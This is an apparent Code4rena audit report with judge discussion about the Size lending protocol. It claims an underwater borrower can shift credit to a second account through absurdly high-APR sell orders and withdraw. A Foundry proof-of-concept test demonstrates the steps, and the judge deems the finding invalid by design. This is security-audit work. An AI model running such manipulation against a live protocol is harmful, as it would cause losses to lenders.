Unhealthy borrower is able to "withdraw" most of his borrow tokens

[c4-bot-3]

Lines of code

https://github.com/code-423n4/2024-06-size/blob/8850e25fb088898e9cf86f9be1c401ad155bea86/src/Size.sol#L178-L185
https://github.com/code-423n4/2024-06-size/blob/8850e25fb088898e9cf86f9be1c401ad155bea86/src/Size.sol#L166-L168

Vulnerability details

Impact

In times when the borrower positions go under 1 CR (very low CR / unhealthy / unprofitable for liquidation) he can still withdraw all of his borrow tokens out of the system and leave everybody else with no option but to get his remaining collateral and bear their losses.

Proof of Concept

Currently withdraw() reverts if you try to withdraw and your CR is not healthy:

Link to code: link

    function withdraw(WithdrawParams calldata params) external payable override(ISize) whenNotPaused {
        state.validateWithdraw(params);
        state.executeWithdraw(params);
@>      state.validateUserIsNotBelowOpeningLimitBorrowCR(msg.sender);
    }

Thus you should not be able to withdraw any collateral or borrow tokens until your CR is improved.

If the CR is below 1 it is more profitable for the unhealthy borrower to get his remaining borrow tokens and bounce.

Here is an example of how he could do it.

1. Bob is below CR 1 and has 100 000 szAUSDC (borrow tokens).
2. Bob creates another EOA (will call it Account2) and with it deposits enough underlying borrow tokens to have 100 szAUSDC.
3. He then finds a random borrow offer and buys credit for 100 szAUSDC with Account2. The tenor and the apr of this tx does not matter much.
4. Then with Account2 he places a sellCreditLimit() order with absurdly high APR that if you wanted to buy his credit position of 100 szAUSDC + interest you would need to transfer 100 000 szAUSDC.
5. With Account 1 (where he is underwater and has 100 000 szAUSDC) he buys the credit position of his Account 2 for 100 000 szAUSDC and he gets a credit of 100 szAUSDC + some normal interest.
6. Now Account 2 of Bob has 100 000 szAUSDC and he can simply call withdraw() to get them out of the system because Account 2 is healthy and the CR check will pass.

Tools Used

Manual Review

Recommended Mitigation Steps

This is a design decision and this could be mitigated in different ways.

Some solutions might include but should be further tested:

1. Do not allow an unhealthy borrower to buy credit and maybe use his remaining borrow tokens to compensate liquidators or his lenders if his CR is below 1.
2. Do not allow absurdly high APRs

Assessed type

Other

[hansfriese]

Step 5 will revert here.

[c4-judge]

hansfriese marked the issue as not a duplicate

[c4-judge]

hansfriese marked the issue as unsatisfactory:
Invalid

[ilchovski98]

Step 5 will not revert here because we will not use RESERVED_ID for params.creditPositionId but we will use the credit id of the existing credit position of Account 2. In other words the check mentioned here will not execute.

The intention was the underwater Account 1 to buy the existing credit of Account 2 at a very high price.

I decided to write POC in order to prove that this issue is valid. In the process of writing it I noticed that the example that I gave in the report is not 100% accurate because you cannot buy an existing credit of 100 USDC for 100K USDC (because of the way the exactAmountIn related calculations work) but instead you can buy an existing credit of 100k USDC for 100 USDC.

The vulnerability is still present and I will layout below the steps that the attacker could do to achieve it and a test POC:

1. Bob borrows 100k USDC from a user (Alice).
2. Bob lends these 100k USDC to another user (James).
3. Over time Bob CR becomes below 1.
4. Bob creates another EOA (will call it Account2) and with it deposits enough underlying borrow tokens to have 100 szAUSDC.
5. Bob places absurdly high limit sell credit order with his Account 1 (that is below CR 1) in order to allow his other Account 2 to buy his existing credit of 100k USDC for very cheap (100 USDC)
6. Bob's Account 2 buys most of the credit (that is 100,000 USDC) from Bob's underwater Address 1 for 80 USDC
7. Now Bob Account 1 transferred successfully part of his credit position of 97.575k USDC to Account 2 and when James repays his loan, Account 2 will be able to claim and withdraw.

There is a risk that somebody else could try to buy Bob's account 1 credit position for dirt cheap but if Bob uses private transactions or front-running he will be able to avoid this scenario.

To run the POC go to BuyCreditMarket.t.sol file and replace all its contents with:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import {BaseTest} from "@test/BaseTest.sol";
import {Vars} from "@test/BaseTest.sol";

import {Errors} from "@src/libraries/Errors.sol";

import {PERCENT} from "@src/libraries/Math.sol";

import {LoanStatus, RESERVED_ID} from "@src/libraries/LoanLibrary.sol";
import {LoanOffer, OfferLibrary} from "@src/libraries/OfferLibrary.sol";
import {YieldCurve, YieldCurveLibrary} from "@src/libraries/YieldCurveLibrary.sol";
import {BuyCreditMarketParams} from "@src/libraries/actions/BuyCreditMarket.sol";
import {YieldCurveHelper} from "@test/helpers/libraries/YieldCurveHelper.sol";

import {Math, PERCENT, YEAR} from "@src/libraries/Math.sol";

import {SellCreditLimitParams} from "@src/libraries/actions/SellCreditLimit.sol";
import "forge-std/console.sol";
// import {DEBT_POSITION_ID_START, CREDIT_POSITION_ID_START, RESERVED_ID} from "@src/libraries/LoanLibrary.sol";
import {
    CREDIT_POSITION_ID_START,
    CreditPosition,
    DEBT_POSITION_ID_START,
    DebtPosition,
    LoanLibrary,
    LoanStatus,
    RESERVED_ID
} from "@src/libraries/LoanLibrary.sol";
import {DataView, UserView} from "@src/SizeViewData.sol";
import {NonTransferrableToken} from "@src/token/NonTransferrableToken.sol";
import {NonTransferrableScaledToken} from "@src/token/NonTransferrableScaledToken.sol";
import {BuyCreditLimitParams} from "@src/libraries/actions/BuyCreditLimit.sol";

contract BuyCreditMarketLendTest is BaseTest {
    using OfferLibrary for LoanOffer;

    uint256 private constant MAX_RATE = 2e18;
    uint256 private constant MAX_TENOR = 365 days * 2;
    uint256 private constant MAX_AMOUNT_USDC = 100e6;
    uint256 private constant MAX_AMOUNT_WETH = 2e18;

    function getBalance(NonTransferrableToken so, address user) public returns(uint256) {
        return so.balanceOf(user);
    }

    function getBalanceScaled(NonTransferrableScaledToken so, address user) public returns(uint256) {
        return so.scaledBalanceOf(user);
    }

    function test_poc_underwater_withdraw2() public {
        // setting current price
        _setPrice(1.5e18);

        // alice deposits 100_000 szAUSDC (borrow tokens)
        _deposit(alice, usdc, 100_000e6);

        // bob deposits 100_000 weth (collateral token)
        _deposit(bob, weth, 150_000e18);
        
        // Bob opens limit sell order
        uint256 maxDueDate = block.timestamp + 365 days;
        uint256[] memory marketRateMultipliers = new uint256[](2);
        uint256[] memory tenors = new uint256[](2);
        tenors[0] = 30 days;
        tenors[1] = 365 days;
        int256[] memory aprs = new int256[](2);
        aprs[0] = 0.15e18;
        aprs[1] = 0.12e18;

        // 1. Bob borrows 100k USDC from a user (Alice).
        vm.prank(bob);
        size.sellCreditLimit(
            SellCreditLimitParams({
                curveRelativeTime: YieldCurve({
                    tenors: tenors, 
                    marketRateMultipliers: marketRateMultipliers, 
                    aprs: aprs
                })
            })
        );

        // Alice buys credit from Bob
        uint256 debtPositionId = _buyCreditMarket(
            alice, // user gives to bob
            bob, // borrower
            RESERVED_ID, // creditPositionId
            100_000e6, // amount
            365 days, // tenor
            true // exactAmountIn
        );

        // 2. Bob lends these 100k USDC to another user (James).
        _deposit(james, weth, 300_000e18);
        vm.prank(james);
        size.sellCreditLimit(
            SellCreditLimitParams({
                curveRelativeTime: YieldCurve({
                    tenors: tenors, 
                    marketRateMultipliers: marketRateMultipliers, 
                    aprs: aprs
                })
            })
        );

        uint debtPositionJamesBob = _buyCreditMarket(
            bob,
            james, // borrower
            RESERVED_ID, // creditPositionId
            99_000e6, // amount
            365 days, // tenor
            true // exactAmountIn
        );

        (uint256 debtPositionCount, uint256 creditPositionCount) = size.getPositionsCount();
        uint bobCreditId = CREDIT_POSITION_ID_START + creditPositionCount - 1;

        // 3. Over time Bob CR becomes below 1.
        _setPrice(7e17);
        console.log("Bob CR", size.collateralRatio(bob));
        console.log("James CR", size.collateralRatio(james));
        
        // Bob is below CR 1 and wants to withdraw his credit positions to pure USDC, leaving the Size protocol

        // 4. Bob creates another EOA (will call it Account2) and with it deposits enough underlying borrow tokens to have 100 szAUSDC.
        address bobAccount2 = candy;
        _deposit(bobAccount2, usdc, 100e6);

        // 5. Bob places absurdly high limit sell credit order with his Account 1 (that is below CR 1) in order to allow his other Account 
        int256[] memory absurdlyHighAPRs = new int256[](2);
        absurdlyHighAPRs[0] = 1301e18;
        absurdlyHighAPRs[1] = 1300e18;

        vm.prank(bob);
        size.sellCreditLimit(
            SellCreditLimitParams({
                curveRelativeTime: YieldCurve({
                    tenors: tenors, 
                    marketRateMultipliers: marketRateMultipliers, 
                    aprs: absurdlyHighAPRs
                })
            })
        );

        // 6. Bob's Account 2 buys most of the credit (that is 100,000 USDC) from Bob's underwater Address 1 for 80 USDC

        // bob buys the credit position of its alt account on a very high APR
        uint256 bobAcc2DebtId = _buyCreditMarket(
            bobAccount2, // user
            bob, // borrower
            bobCreditId, // <------ Important: Here we do not use RESERVED_ID. We do not create new credit, we buy existing one.
            80e6, // amount
            365 days, // tenor
            true // exactAmountIn
        );

        (, uint256 creditPositionCount2) = size.getPositionsCount();
        uint bobAcc2CreditId = CREDIT_POSITION_ID_START + creditPositionCount2 - 1;

        DebtPosition memory bobAcc2Debt = size.getDebtPosition(bobAcc2DebtId);
        console.log("borrower", bobAcc2Debt.borrower); // james
        console.log("futureValue", bobAcc2Debt.futureValue); // 110,880_000_000
        console.log("dueDate", bobAcc2Debt.dueDate);
        console.log("liquidityIndexAtRepayment", bobAcc2Debt.liquidityIndexAtRepayment);

        CreditPosition memory bobAcc2Credit = size.getCreditPosition(bobAcc2CreditId);
        console.log("lender", bobAcc2Credit.lender); // bobAccount2
        console.log("forSale", bobAcc2Credit.forSale);
        console.log("credit", bobAcc2Credit.credit); // 97,575_000_000
        console.log("debtPositionId", bobAcc2Credit.debtPositionId);

        // 7. Now Bob Account 1 transferred successfully part of his credit position of 97.575k USDC to Account 2 and when James repays his loan, Account 2 will be able to claim and withdraw.
        DataView memory data = size.data();
        uint jamesBalance = getBalanceScaled(data.borrowAToken, james);
        uint256 amountJamesNeedsToDeposit = bobAcc2Debt.futureValue - jamesBalance;

        _deposit(james, usdc, amountJamesNeedsToDeposit);
        _repay(james, bobAcc2DebtId);

        _claim(bobAccount2, bobAcc2CreditId);
        console.log("getBalanceScaled(data.borrowAToken, bobAccount2)", getBalanceScaled(data.borrowAToken, bobAccount2));
        _withdraw(bobAccount2, usdc, getBalanceScaled(data.borrowAToken, bobAccount2));
        console.log("getBalanceScaled(data.borrowAToken, bobAccount2)2", getBalanceScaled(data.borrowAToken, bobAccount2));
        console.log("usdc.balanceOf(bobAccount2)", usdc.balanceOf(bobAccount2));
    }
}

You can run the test with forge test --mt test_poc_underwater_withdraw2 -vv

[hansfriese]

It's an interesting approach, but it's not a valid risk for the following reasons:

• The intended design is to allow for USDC withdrawals even if the user is underwater. (withdraw() users may can't withdraw underlyingBorrowToken properly #88)
• The borrower's debt positions are likely liquidated before his CR falls below 1 when the liquidation is profitable.

Bob is below CR 1 and has 100 000 szAUSDC (borrow tokens).

[ilchovski98]

If #88 is considered valid by the protocol then I agree that this should be invalid.